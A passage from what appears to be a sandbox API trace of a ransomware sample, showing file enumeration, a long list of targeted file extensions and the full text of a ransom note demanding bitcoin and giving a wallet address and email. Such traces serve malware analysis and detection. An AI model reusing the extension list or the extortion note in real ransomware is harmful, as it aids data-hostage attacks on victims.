returned 0 [0165.298] lstrlenA (lpString="*.fdb") returned 5 [0165.298] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.wab") returned 0 [0165.298] lstrlenA (lpString="*.wab") returned 5 [0165.298] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.dat") returned 0 [0165.298] lstrlenA (lpString="*.dat") returned 5 [0165.298] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.txt") returned 0 [0165.298] lstrlenA (lpString="*.txt") returned 5 [0165.298] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.jpeg") returned 0 [0165.298] lstrlenA (lpString="*.jpeg") returned 6 [0165.298] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.jpg") returned 0 [0165.298] lstrlenA (lpString="*.jpg") returned 5 [0165.298] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.png") returned 0 [0165.298] lstrlenA (lpString="*.png") returned 5 [0165.298] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.php") returned 0 [0165.298] lstrlenA (lpString="*.php") returned 5 [0165.298] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.cs") returned 0 [0165.299] lstrlenA (lpString="*.cs") returned 4 [0165.299] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.cpp") returned 0 [0165.299] lstrlenA (lpString="*.cpp") returned 5 [0165.299] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.rar") returned 0 [0165.299] lstrlenA (lpString="*.rar") returned 5 [0165.299] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.zip") returned 0 [0165.299] lstrlenA (lpString="*.zip") returned 5 [0165.299] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.html") returned 0 [0165.299] lstrlenA (lpString="*.html") returned 6 [0165.299] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.htm") returned 0 [0165.299] lstrlenA (lpString="*.htm") returned 5 [0165.299] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.xlsx") returned 0 [0165.299] lstrlenA (lpString="*.xlsx") returned 6 [0165.299] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.xls") returned 0 [0165.299] lstrlenA (lpString="*.xls") returned 5 [0165.299] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.mp4") returned 0 [0165.299] lstrlenA (lpString="*.mp4") returned 5 [0165.299] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.ppt") returned 0 [0165.299] lstrlenA (lpString="*.ppt") returned 5 [0165.299] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.pptx") returned 0 [0165.299] lstrlenA (lpString="*.pptx") returned 6 [0165.300] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.doc") returned 0 [0165.300] lstrlenA (lpString="*.doc") returned 5 [0165.300] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.dot") returned 0 [0165.300] lstrlenA (lpString="*.dot") returned 5 [0165.300] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.docx") returned 0 [0165.300] lstrlenA (lpString="*.docx") returned 6 [0165.300] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.7z") returned 0 [0165.300] lstrlenA (lpString="*.7z") returned 4 [0165.300] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.tar") returned 0 [0165.300] lstrlenA (lpString="*.tar") returned 5 [0165.300] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.bz2") returned 0 [0165.300] lstrlenA (lpString="*.bz2") returned 5 [0165.300] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.gz") returned 0 [0165.300] lstrlenA (lpString="*.gz") returned 4 [0165.300] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.mkv") returned 0 [0165.300] lstrlenA (lpString="*.mkv") returned 5 [0165.301] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.eml") returned 0 [0165.301] lstrlenA (lpString="*.eml") returned 5 [0165.301] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.msg") returned 0 [0165.301] lstrlenA (lpString="*.msg") returned 5 [0165.301] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.edb") returned 0 [0165.301] lstrlenA (lpString="*.edb") returned 5 [0165.301] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.accdb") returned 0 [0165.301] lstrlenA (lpString="*.accdb") returned 7 [0165.301] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.odb") returned 0 [0165.301] lstrlenA (lpString="*.odb") returned 5 [0165.301] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.java") returned 0 [0165.301] lstrlenA (lpString="*.java") returned 6 [0165.301] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.asm") returned 0 [0165.301] lstrlenA (lpString="*.asm") returned 5 [0165.301] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.pfx") returned 0 [0165.301] lstrlenA (lpString="*.pfx") returned 5 [0165.301] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.pem") returned 0 [0165.301] lstrlenA (lpString="*.pem") returned 5 [0165.301] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.p12") returned 0 [0165.301] lstrlenA (lpString="*.p12") returned 5 [0165.301] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.gpg") returned 0 [0165.301] lstrlenA (lpString="*.gpg") returned 5 [0165.301] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.vsd") returned 0 [0165.302] lstrlenA (lpString="*.vsd") returned 5 [0165.302] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.odg") returned 0 [0165.302] lstrlenA (lpString="*.odg") returned 5 [0165.302] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.raw") returned 0 [0165.302] lstrlenA (lpString="*.raw") returned 5 [0165.302] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.nef") returned 0 [0165.302] lstrlenA (lpString="*.nef") returned 5 [0165.302] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.svg") returned 0 [0165.302] lstrlenA (lpString="*.svg") returned 5 [0165.302] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.psd") returned 0 [0165.302] lstrlenA (lpString="*.psd") returned 5 [0165.302] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.vmx") returned 0 [0165.302] lstrlenA (lpString="*.vmx") returned 5 [0165.302] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.vmdk") returned 0 [0165.302] lstrlenA (lpString="*.vmdk") returned 6 [0165.302] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.vdi") returned 0 [0165.302] lstrlenA (lpString="*.vdi") returned 5 [0165.302] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.lay6") returned 0 [0165.302] lstrlenA (lpString="*.lay6") returned 6 [0165.302] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.mpeg") returned 0 [0165.302] lstrlenA (lpString="*.mpeg") returned 6 [0165.303] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.djvu") returned 0 [0165.303] lstrlenA (lpString="*.djvu") returned 6 [0165.303] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.tiff") returned 0 [0165.303] lstrlenA (lpString="*.tiff") returned 6 [0165.303] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.backup") returned 0 [0165.303] lstrlenA (lpString="*.backup") returned 8 [0165.303] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.pdf") returned 0 [0165.303] lstrlenA (lpString="*.pdf") returned 5 [0165.303] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.cert") returned 0 [0165.303] lstrlenA (lpString="*.cert") returned 6 [0165.303] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.docm") returned 0 [0165.303] lstrlenA (lpString="*.docm") returned 6 [0165.303] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.xlsm") returned 0 [0165.303] lstrlenA (lpString="*.xlsm") returned 6 [0165.303] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.dwg") returned 0 [0165.303] lstrlenA (lpString="*.dwg") returned 5 [0165.303] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.nd") returned 0 [0165.303] lstrlenA (lpString="*.nd") returned 4 [0165.303] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.tlg") returned 0 [0165.304] lstrlenA (lpString="*.tlg") returned 5 [0165.304] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.lgb") returned 0 [0165.304] lstrlenA (lpString="*.lgb") returned 5 [0165.304] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.mov") returned 0 [0165.304] lstrlenA (lpString="*.mov") returned 5 [0165.304] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.xdw") returned 0 [0165.304] lstrlenA (lpString="*.xdw") returned 5 [0165.304] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.ods") returned 0 [0165.304] lstrlenA (lpString="*.ods") returned 5 [0165.304] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.wav") returned 0 [0165.304] lstrlenA (lpString="*.wav") returned 5 [0165.304] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.mp3") returned 0 [0165.304] lstrlenA (lpString="*.mp3") returned 5 [0165.304] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.aiff") returned 0 [0165.304] lstrlenA (lpString="*.aiff") returned 6 [0165.304] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.flac") returned 0 [0165.304] lstrlenA (lpString="*.flac") returned 6 [0165.304] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.m4a") returned 0 [0165.304] lstrlenA (lpString="*.m4a") returned 5 [0165.305] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_h_b03f5f7f11d50a3a_6.1.7600.16385_none_48b522f56a33d033\\aspnet_perf.h", pszSpec="*.csv") returned 0 [0165.305] lstrlenA (lpString="*.csv") returned 5 [0165.305] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3db7ac7, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb3db7ac7, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x95febcb5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1989, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="aspnet_perf.h", cAlternateFileName="ASPNET~1.H")) returned 0 [0165.305] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.305] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1121f19a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1121f19a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1121f19a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb", cAlternateFileName="AM7143~1.163")) returned 1 [0165.305] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb") returned -1 [0165.305] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb") returned -1 [0165.305] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.305] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\", lpString2="amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb" [0165.305] lstrlenA (lpString="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb") returned 99 [0165.305] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1121f19a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1121f19a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1121f19a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.308] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.308] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1121f19a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1121f19a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1121f19a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.308] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.308] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.308] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dddc24, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb3dddc24, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x960f6647, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xc8142, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="aspnet_perf.ini", cAlternateFileName="ASPNET~1.INI")) returned 1 [0165.308] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.308] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aspnet_perf.ini") returned 1 [0165.309] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aspnet_perf.ini") returned 1 [0165.309] lstrcmpiA (lpString1="", lpString2="aspnet_perf.ini") returned -1 [0165.309] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\*.*") returned="*.*" [0165.309] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\" [0165.309] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\") returned="" [0165.309] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\HOW TO DECRYPT FILES.txt" [0165.309] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\how to decrypt files.txt")) returned 0xffffffff [0165.309] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.309] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.309] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.309] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.309] CloseHandle (hObject=0xffffffff) returned 0 [0165.310] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\", lpString2="aspnet_perf.ini" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_perf_ini_b03f5f7f11d50a3a_6.1.7600.16385_none_6aa460e8a470fcdb\\aspnet_perf.ini" [0165.310] PathMatchSpecA 